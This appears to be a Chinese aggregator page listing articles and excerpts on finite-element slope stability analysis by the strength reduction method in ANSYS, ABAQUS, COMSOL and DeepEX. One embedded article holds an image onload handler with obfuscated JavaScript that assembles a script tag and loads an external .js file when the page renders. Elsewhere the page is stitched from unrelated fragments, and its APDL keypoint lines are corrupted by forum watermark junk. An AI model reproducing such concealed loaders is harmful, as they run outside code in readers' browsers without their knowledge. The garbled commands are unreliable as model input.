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登錄ansys邊坡穩(wěn)定的實(shí)現(xiàn)的案例
ANSYS鋼板樁基坑穩(wěn)定(邊坡穩(wěn)定)后處理命令流 ¥1
利用摩爾庫倫理論和摩爾應(yīng)力圓的公式,計(jì)算土體在受力狀態(tài)下最小剪切破壞面,進(jìn)而計(jì)算出最小安全系數(shù)。土體離散后把每個點(diǎn)的最小安全系數(shù)連線,就形成了破壞面。
用ANSYS做邊坡穩(wěn)定分析
用ANSYS做邊坡穩(wěn)定分析的方法是:根據(jù)有限元程序計(jì)算得到的應(yīng)力場來計(jì)算各點(diǎn)的安全系數(shù),然后
利用ANSYS強(qiáng)大的后處理功能繪出安全系數(shù)等值線圖,圖中安全系數(shù)最小的那條等值線就是最可能的滑裂面,
其安全系數(shù)就是邊坡的安全系數(shù)。..........
用ANSYS做邊坡穩(wěn)定分析.pdf
基于ANSYS APDL的邊坡穩(wěn)定性研究
0 前言
傳統(tǒng)對邊坡穩(wěn)定性研究的方法主要有:極限平衡法,滑移線場法等,這些以極限平衡理論為基礎(chǔ)的分析方法沒有考慮土體內(nèi)部的本構(gòu)關(guān)系,無法對土體的破壞與發(fā)展過程進(jìn)行分析,也無法對巖土和支護(hù)結(jié)構(gòu)進(jìn)行共同考慮,安全系數(shù)的求解假設(shè)過多。而邊坡的數(shù)值分析方法主要考慮土體的應(yīng)力-應(yīng)變關(guān)系,克服了完全不考慮土體本身應(yīng)力-應(yīng)變關(guān)系的極限平衡法中的缺點(diǎn),為邊坡穩(wěn)定性的正確和準(zhǔn)確的分析提供概念。邊坡穩(wěn)定性數(shù)值分析的方法有很多種,主要有有限元法(包括有限元滑面搜索法和有限元強(qiáng)度折減法)、自適應(yīng)有限元法、離散元法、拉格朗日元法、界面元法等。有限元強(qiáng)度折減法可以考慮復(fù)雜邊坡計(jì)算,考慮巖土的彈塑性本構(gòu)關(guān)系,能夠模擬失穩(wěn)過程,得到準(zhǔn)確的安全系數(shù),并為邊坡加固作指導(dǎo),因此本文采取有限元強(qiáng)度折減法來分析邊坡的穩(wěn)定性。
強(qiáng)度折減法,顧名思義,簡單來說就是通過降低強(qiáng)度參數(shù)來得到結(jié)構(gòu)達(dá)到極限破壞狀態(tài)的方法。對于邊坡穩(wěn)定先分析,具體解釋為:通過修改邊坡巖石的材料參數(shù),不斷降低巖土的抗剪強(qiáng)度參數(shù),直到邊坡達(dá)到極限破壞狀態(tài)。邊坡巖土的抗剪強(qiáng)度參數(shù)主要是粘聚力с和內(nèi)摩擦角,折減時粘聚力c直接除以折減系數(shù)Fzj得到新的粘聚力;相應(yīng)地,內(nèi)摩擦角的正切值除以折減系數(shù)Fzj得到新的內(nèi)摩擦角的正切值,繼而求得內(nèi)摩擦角的大小。將得到新的作為新的巖土材料參數(shù)再進(jìn)行計(jì)算,通過不停地折減巖土強(qiáng)度參數(shù),反復(fù)計(jì)算,直到達(dá)到相應(yīng)的失穩(wěn)條件,即失穩(wěn)判據(jù)。
ANSYS有很好的二次開發(fā)功能,采用APDL二次開發(fā)語言可以進(jìn)行參數(shù)化建模和分析,有利于多模型的計(jì)算。本文的邊坡穩(wěn)定性分析采用折減強(qiáng)度法進(jìn)行仿真分析,為了更加方便地的計(jì)算,本文也采用APDL二次開發(fā)參數(shù)化計(jì)算,這樣可以節(jié)省大量的前處理時間。
展開 ANSYS強(qiáng)度折減法邊坡穩(wěn)定分析實(shí)例
下面來大致描述ANSYS邊坡應(yīng)用實(shí)例
ANSYS邊坡穩(wěn)定性分析一般分以下幾個步驟:
①創(chuàng)建物理環(huán)境;②建立模型,劃分網(wǎng)格,對模型的不同區(qū)域賦予特性
③加邊界條件和載荷;④求解;⑤后處理(查看計(jì)算結(jié)果)
巖土高邊坡模型與網(wǎng)格劃分
邊坡圍巖材料參數(shù)
表1 邊坡模型圍巖參數(shù)
類別
彈性模量/GPa
泊松比
容重/
內(nèi)聚力
/MPa
摩擦角
(。)
圍巖1(彈塑性)
10
0.30
2645
0.8
32
進(jìn)行邊坡穩(wěn)定性分析計(jì)算時,采用強(qiáng)度折減法來實(shí)現(xiàn)。首先選取初始折減系數(shù)F,然后對邊坡土體材料強(qiáng)度系數(shù)進(jìn)行折減,折減后凝聚力以及摩擦角分別式(1)和式(2)。
強(qiáng)度折減系數(shù)F=1.0時計(jì)算結(jié)果分析
X方向變形云圖
整體位移矢量云圖
強(qiáng)度折減系數(shù)F=2.2時計(jì)算結(jié)果分析
強(qiáng)度折減系數(shù)F=2.24時計(jì)算結(jié)果分析
強(qiáng)度折減系數(shù)F=2.28時計(jì)算結(jié)果分析----求解不收斂,說明此時邊坡發(fā)生失穩(wěn)。
展開 
ANSYS強(qiáng)度折減法邊坡穩(wěn)定性分析及地震荷載分析 ¥30
采用ANSYS有限元強(qiáng)度折減方法對滑坡穩(wěn)定系數(shù)進(jìn)行求解,通過有限元強(qiáng)度折減方法對不同工況下滑坡穩(wěn)定系數(shù)進(jìn)行計(jì)算,并將模擬計(jì)算值與極限平衡方法進(jìn)行對比,驗(yàn)證了強(qiáng)度折減方法的有效性。
有限元強(qiáng)度折減法是20世紀(jì)70年代末由英國科學(xué)家Zienkiewicz提出的,是通過不斷提高強(qiáng)度折減系數(shù)來降低坡體巖土抗剪強(qiáng)度參數(shù),并反復(fù)試算,直到達(dá)到極限破壞狀態(tài),程序自動根據(jù)彈塑性有限元計(jì)算結(jié)果得到滑動破壞面,同時得到滑坡的強(qiáng)度儲備安全系數(shù)。該方法在理論體系上比極限平衡法更嚴(yán)格,它全面滿足了靜力許可、應(yīng)變相容以及土體的非線性應(yīng)力-應(yīng)變關(guān)系。
地震荷載加載前需要對模型進(jìn)行模態(tài)分析求解,來獲得固有頻率及瑞麗阻尼系數(shù),然后再對模型進(jìn)行動態(tài)加載。
第一步:模型建立、施加邊界條件、自重工況下強(qiáng)度折減
第二步:模態(tài)分析求解
第三步:求解瑞麗阻尼系數(shù)、地震波加載
展開 【ANSYS算例】利用強(qiáng)度折減法對邊坡進(jìn)行穩(wěn)定分析
<p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/202108/imgs/a56b193ab638461b9c8a36d9245e7e13"></p><p><strong>點(diǎn)擊藍(lán)字</strong> 關(guān)注我們</p><p><img src="https://img.jishulink.com/202108/imgs/255357fd6cdd4659a9d06ce34a12eaf0"></p><p><img src="https://img.jishulink.com/202108/imgs/fb94d1ef3ab34159ad3f7335d763cf74"></p><p> 好久沒有更新算例了,這期更新一個小算例,用強(qiáng)度折減法計(jì)算邊坡的穩(wěn)定性,用ANSYS軟件計(jì)算,ABAQUS的算例我前面寫了兩篇,感興趣的可以看看。</p><p><br></p><p> 邊坡的尺寸及參數(shù)與之前的ABAQUS的邊坡算例相同。模型如下。
展開 CAD TO ANSYS TO FLAC3D邊坡穩(wěn)定性分析全程揭密
[forum.simwe.com]邊坡穩(wěn)定性3D分析命令流.rar
邊坡穩(wěn)定性分析 附GeoStudio2018幫助文檔邊坡穩(wěn)定性分析模型SLOPE Modeling下
DeepEX中邊坡分析操作概述
在DeepEX中進(jìn)行邊坡穩(wěn)定性分析時,其操作思路大體可以分為以下三步:1)建立邊坡模型;2)邊坡分析設(shè)置;3)分析計(jì)算。
其中,邊坡建模和分析計(jì)算操作比較簡單。DeepEX提供了兩種邊坡建模方法,一種是直接建模,另外一種是DXF文件導(dǎo)入建模。當(dāng)邊坡形狀比較復(fù)雜或者已有現(xiàn)成的DXF文件時,用戶可以直接導(dǎo)入DXF文件建立邊坡模型。當(dāng)邊坡比較簡單時,可以在【一般】選項(xiàng)→【地表設(shè)置選項(xiàng)】中選擇【左側(cè)斜坡】或【右側(cè)斜坡】選項(xiàng),即可打開編輯邊坡的對話框,如圖1所示。在該對話框中可以編輯邊坡坡度、放坡類型、臺階尺寸等數(shù)據(jù),從而創(chuàng)建出邊坡模型。分析計(jì)算只需點(diǎn)擊【計(jì)算邊坡】按鈕即可,計(jì)算完成之后就能得到相應(yīng)的安全系數(shù)結(jié)果。唯一需要注意的是,在進(jìn)行邊坡穩(wěn)定性計(jì)算之前,必須先完成常規(guī)計(jì)算。
圖1 設(shè)置邊坡形狀
在建立邊坡模型后,邊坡穩(wěn)定性分析中最關(guān)鍵的操作就是邊坡分析設(shè)置。首先,用戶需要在【邊坡】選項(xiàng)中勾選【整體穩(wěn)定性分析】(如圖2),才能進(jìn)行邊坡穩(wěn)定性分析設(shè)置。勾選之后,單擊【選項(xiàng)】按鈕即可打開【邊坡穩(wěn)定性分析選項(xiàng)】對話框,如圖3所示。在該對話框中用戶可以選擇邊坡穩(wěn)定性分析方法,設(shè)置圓弧中心范圍、半徑搜索方法,選擇是否考慮邊坡周圍基礎(chǔ)荷載、支撐極限承載力以及是否考慮坡頂土體拉裂等。完成邊坡分析設(shè)置之后,即可進(jìn)行穩(wěn)定性計(jì)算。
圖2 【邊坡】選項(xiàng)
圖3 邊坡穩(wěn)定性分析選項(xiàng)
3 算例演示
本案例來自于Giam和Donald(1989)給出解答的一系列邊坡分析案例中最簡單的一個。Giam和Donald得到的計(jì)算結(jié)果在全世界范圍內(nèi)得到了廣泛認(rèn)可,因此他們的案例成為各種邊坡分析軟件的驗(yàn)證案例。本文選取該案例來驗(yàn)證DeepEX計(jì)算結(jié)果的準(zhǔn)確性。
展開 基于ANSYS的碼頭邊坡強(qiáng)度折減法穩(wěn)定分析算例
1.影響邊坡穩(wěn)定性的主要因素
(1)邊坡材料力學(xué)特性參數(shù):
包括彈性模量、泊松比、摩擦角、粘結(jié)力、容重、抗剪強(qiáng)度等參數(shù)。
(2)邊坡的幾何尺寸參數(shù):
包括邊坡高度、坡面角和邊坡邊界尺寸以及坡面后方坡體的幾何形狀,即坡體的不連續(xù)面與開挖面的坡度及方向之間的幾何關(guān)系,它將確定坡體的各個部分是否滑動或塌落。
(3)邊坡外部荷載:
包括地震力、重力場、滲流場、地質(zhì)構(gòu)造地應(yīng)力等。
2. 強(qiáng)度折減系數(shù)
進(jìn)行邊坡穩(wěn)定性分析計(jì)算時,采用強(qiáng)度折減法來實(shí)現(xiàn)。首先選取初始折減系數(shù)F,然后對邊坡土體材料強(qiáng)度系數(shù)進(jìn)行折減,折減后凝聚力以及摩擦角分別見式1-1和式1-2。
土層材料參數(shù)
下面開始進(jìn)行建模,通過點(diǎn)-線-面的方式逐步建立模型。
可在AutoCAD中找出關(guān)鍵點(diǎn)的坐標(biāo),然后逐步開始建模,也可以通過在CAD圖紙中創(chuàng)建面域,然后輸出為sat文件,之后導(dǎo)入到ANSYS中。兩種方式皆可。
各區(qū)域材料不同顏色顯示
采用Plane82單元來模擬,將單元選項(xiàng)設(shè)置為平面應(yīng)變Plane strain.
在ANSYS經(jīng)典中創(chuàng)建好的幾何模型
通過設(shè)置劃分網(wǎng)格單元尺寸,對上述幾何模型進(jìn)行劃分,有限元網(wǎng)格如圖所示。
對模型施加邊界條件,左右兩側(cè)約束法向位移,底部約束UX UY方向自由度。
(一)僅自重下的部分計(jì)算結(jié)果
靜力通用求解,自重下的位移分布矢量云圖。
UX方向位移云圖
UY方向位移云圖
(二)對土體參數(shù)進(jìn)行不同程度的折減,以下為折減系數(shù)為1.4時的部分計(jì)算結(jié)果。
考慮左側(cè)靜水壓力時的計(jì)算荷載示意圖。
展開 『轉(zhuǎn)貼』CAD TO ANSYS TO FLAC3D邊坡穩(wěn)定性分析全程揭密
(1)從CAD圖獲取等高線點(diǎn)的數(shù)據(jù)
這個過程我是采用捕捉點(diǎn)獲取數(shù)據(jù)的方式,不過是用軟件實(shí)現(xiàn)的,否則手工操作十分費(fèi)事。這樣的軟件在論壇上的ANSYS版塊已經(jīng)有了。有時候,CAD圖也并非全有三維信息,不過只要知道二維信息,輔之以高程,就可以了,這個工作量不大。將得到的點(diǎn)的坐標(biāo)導(dǎo)入到EXCEL中進(jìn)行處理,轉(zhuǎn)換為下面的格式
k, 1, 600 ,0, 0
k, 2, 600 ,0, 700www.simwe.com
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fu.I3t0l
k, 3, 0 ,0, 700
k, 4, 0 ,0, 0仿真分析,有限元,模擬,計(jì)算,力學(xué),航空,航天,ANSYS,MSC,ABAQUS,ALGOR,Adina,COMSOL,FEMLAB,Matlab,FluentZ }@
U$Y
k, 5, 600 ,24, 0
k, 6, 600 ,24, 700
k, 7, 0 ,24, 700仿真分析,有限元,模擬,計(jì)算,力學(xué),航空,航天,ANSYS,MSC,ABAQUS,ALGOR,Adina,COMSOL,FEMLAB,Matlab,Fluent,CFD,CAE,CAD,CAM9[ H|EA E3z!Z `p
k, 8, 0 ,24, 0
即關(guān)鍵點(diǎn)坐標(biāo),然后就可以由點(diǎn)生成線了。
展開 ABAQUS案例—邊坡穩(wěn)定性分析及場變量在邊坡強(qiáng)度折減中的應(yīng)用 ¥3
本案例(附件中的inp文件)介紹了如何采用ABAQUS軟件進(jìn)行邊坡穩(wěn)定性分析,以及介紹了場變量在邊坡強(qiáng)度折減中的應(yīng)用。介紹了采用平面應(yīng)變單元來模擬三維的邊坡穩(wěn)定問題所需要注意的問題及分析技巧。

COMSOL邊坡穩(wěn)定性分析 ¥600
我國是一個多地質(zhì)災(zāi)害的國家,在眾多的地質(zhì)災(zāi)害中,邊坡失穩(wěn)災(zāi)害以其分布廣危害大,而對國民經(jīng)濟(jì)和人民生命財(cái)產(chǎn)造成巨大的損失。因此,研究邊坡變形破壞的過程,分析其失穩(wěn)的主要影響因素,對正確評價(jià)邊坡的穩(wěn)定性、采取相應(yīng)有效的邊坡加固治理措施具有重要的現(xiàn)實(shí)意義。對邊坡進(jìn)行加固以提高其穩(wěn)定性時,采用土工格柵是一種經(jīng)濟(jì)合理的選擇??茖W(xué)布置土工格柵加固邊坡,是節(jié)約成本、保障生命安全以及保護(hù)場區(qū)周邊自然環(huán)境的關(guān)鍵。
本篇文檔首先進(jìn)行了自重應(yīng)力下的土坡穩(wěn)定性分析,然后針對土工格柵加固后的土坡再次進(jìn)行了穩(wěn)定性分析,對比了加固前后邊坡的安全系數(shù)。在進(jìn)行穩(wěn)定性分析之前,對土坡進(jìn)行了地應(yīng)力平衡處理。未進(jìn)行加固處理的邊坡安全系數(shù)Fs=1.28;進(jìn)行加固處理后的邊坡安全系數(shù)Fs=1.51。
感興趣的朋友可下載附件,查看模型源文件!
展開 降雨強(qiáng)度及持時對邊坡穩(wěn)定性影響研究
摘 要:
為了分析邊坡在降雨入滲作用下的滲流和穩(wěn)定性,文章采用有限元強(qiáng)度折減數(shù)值模擬法,分析坡面滲流及穩(wěn)定性受降雨強(qiáng)度、持續(xù)時間及類型等因素的影響。結(jié)果表明:隨著邊坡降雨強(qiáng)度或持續(xù)時間的增加,邊坡最大孔壓逐漸增大,穩(wěn)定性系數(shù)逐步降低。總降雨量相同的情況下,短期暴雨對粘性土坡的影響更為明顯,造成孔壓升高,邊坡穩(wěn)定性下降。研究結(jié)果對邊坡穩(wěn)定性評估提供參考。
關(guān)鍵詞:降雨入滲;邊坡穩(wěn)定性;數(shù)值模擬;ABAQUS;孔隙水壓;
隨著城市建設(shè)進(jìn)程的推進(jìn),土地資源日益稀缺,越來越多的工程開始修建于山區(qū),邊坡護(hù)坡不當(dāng)往往造成山體滑坡、崩塌失穩(wěn),造成財(cái)產(chǎn)重大損失和人員傷亡[1,2]。因此,邊坡穩(wěn)定性研究成為巖土工程領(lǐng)域的重點(diǎn)研究課題。降雨入滲對邊坡穩(wěn)定性影響顯著。降雨水分在邊坡地表時,會逐漸向下滲透到邊坡體內(nèi)部,增大了邊坡土體的飽和度,降低了土體的抗剪強(qiáng)度,誘發(fā)邊坡失穩(wěn),導(dǎo)致邊坡滑坡或坍塌。此外,降雨還會導(dǎo)致邊坡土體內(nèi)部的水壓增大,使得土體的抗剪強(qiáng)度進(jìn)一步降低。在強(qiáng)降雨時,水壓可能會很快上升,從而迅速引發(fā)邊坡失穩(wěn)。國內(nèi)外研究人員提出了各種理論和數(shù)值模擬方法評價(jià)降雨條件下邊坡的穩(wěn)定性,包括極限平衡法、極限分析法和數(shù)值模擬方法,如有限元法、有限差分法、離散元法等[4]。趙衡等[5]利用FLAC3D軟件對某路塹邊坡進(jìn)行數(shù)值模擬分析,得出邊坡破壞方式為對稱破壞,并提出斜坡穩(wěn)定性極限平衡計(jì)算方法。喬翔等[6]針對某公路邊坡的剖面模型,采用極限平衡法對坡體不同部位進(jìn)行穩(wěn)定性分析,并根據(jù)受力分析提出合理的邊坡加固方案。劉勇等[7]以改良的極限平衡法為基礎(chǔ),結(jié)合室內(nèi)測試和數(shù)值模擬技術(shù),揭示降雨對邊坡安全系數(shù)產(chǎn)生顯著影響的影響因素,如降雨強(qiáng)度和降雨時長等,并計(jì)算了在降雨入滲作用下,非飽和土質(zhì)邊坡的穩(wěn)定性。
展開 abaqus邊坡動力穩(wěn)定性分析
abaqus地震荷載下三維邊坡動力穩(wěn)定性分析 邊界條件粘彈性人工邊界 付費(fèi)學(xué)習(xí)
邊坡滑坡穩(wěn)定性分析及治理,圖文并茂
2、影響露天礦邊坡穩(wěn)定性的主要因素和邊坡破壞形式
2.1 影響露天礦邊坡穩(wěn)定性的主要因素
影響露天礦邊坡穩(wěn)定的因素較多,其中巖體的巖石組成、巖體構(gòu)造和地下水是最主要的因素,此外,爆破和地震、邊坡形狀等也有一定影響。現(xiàn)將其主要影響因素介紹如下:
1)巖石的組成
巖石的礦物成分和結(jié)構(gòu)構(gòu)造對巖石的工程地質(zhì)性質(zhì)起主要作用,通常,強(qiáng)度高的巖石邊坡穩(wěn)定性也高,片理、層理發(fā)育的巖石邊坡穩(wěn)定性相對較差。
2)巖體結(jié)構(gòu)
邊坡巖體的破壞主要受巖體中不連續(xù)面(結(jié)構(gòu)面)的控制。影響邊坡穩(wěn)定的巖體結(jié)構(gòu)因素主要包括下列幾方面:
結(jié)構(gòu)面的傾向和傾角:
一般來說,同向緩傾邊坡(結(jié)構(gòu)面傾向和邊坡坡面傾向一致, 傾角小于坡角)的穩(wěn)定性較反向坡差。同向緩傾坡中,巖層傾角愈陡,穩(wěn)定性愈差;水平巖層穩(wěn)定性較好。
結(jié)構(gòu)面的走向:
當(dāng)傾向不利的結(jié)構(gòu)面走向和坡面平行時,整個坡面都具有臨空自由滑動的條件,對邊坡的穩(wěn)定不利。結(jié)構(gòu)面走向與坡面走向夾角愈大,對邊坡的穩(wěn)定愈有利。
結(jié)構(gòu)面的組數(shù)和數(shù)量:
當(dāng)邊坡受多組相交的結(jié)構(gòu)面切割時,整個邊坡巖體自由變形的余地大,切割面、滑動面和臨空面多,易于形成滑動的塊體,而且為地下水活動提供了較好的條件,對邊坡穩(wěn)定不利。其次,結(jié)構(gòu)面的數(shù)量直接影響到被切割的巖塊的大小,它不僅影響邊坡的穩(wěn)定性,也影響邊坡變形破壞的形式。巖體嚴(yán)重破碎的邊坡,甚至?xí)霈F(xiàn)類似土質(zhì)邊坡那樣的圓弧形滑動破壞。
結(jié)構(gòu)面的不連續(xù)性:
在邊坡穩(wěn)定計(jì)算中,通常假定結(jié)構(gòu)面是連續(xù)的,實(shí)際并非如此。
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